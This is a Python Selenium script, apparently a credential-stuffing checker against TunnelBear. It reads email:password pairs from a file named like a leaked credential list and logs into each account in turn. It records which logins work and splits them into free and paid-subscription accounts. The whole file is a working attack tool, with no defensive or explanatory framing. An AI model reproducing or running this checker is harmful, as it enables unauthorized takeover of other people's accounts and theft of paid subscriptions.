from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time
from selenium.webdriver.chrome.options import Options
from baza import check_and_add_record
def login_and_get_balance(driver, username, password):
try:
driver.get('https://www.tunnelbear.com/account/login')
WebDriverWait(driver, 10).until(
EC.presence_of_element_located((By.NAME, "email"))
)
username_input = driver.find_element(By.NAME, "email")
password_input = driver.find_element(By.NAME, "password")
username_input.send_keys(username)
password_input.send_keys(password)
password_input.send_keys(Keys.RETURN)
time.sleep(3)
WebDriverWait(driver, 10).until(
EC.presence_of_element_located((By.CLASS_NAME, "general-info"))
)
balance_element = driver.find_element(By.CLASS_NAME, "general-info")
print(balance_element)
return balance_element.text
except Exception as e:
print(f"Ошибка при получении баланса: {e}")
return None
def main():
with open('tunnelbear.com_logpass.txt', 'r', encoding='latin-1') as file1:
akki = file1.readlines()
for i in akki:
username, password = i.strip().split(":")
if "@" not in username:
continue
if check_and_add_record(username, password)=="neok":
continue
# options = Options()
# options.add_argument("--headless")
# # options.add_argument("--disable-gpu")
# options.add_argument("--incognito")
# options.add_argument('--disable-extensions')
driver = webdriver.Chrome()
balance = login_and_get_balance(driver, username, password)
if balance:
if "Free" in balance:
with open(f'valid_pustishka.txt', 'a', encoding="utf8") as file2:
file2.write(f"\n{username}:{password}\n{balance}\n\n====")
else:
with open(f'podpiska.txt', 'a', encoding="utf8") as file2:
file2.write(f"\n{username}:{password}\n{balance}\n\n====")
driver.quit()
if __name__ == "__main__":
main()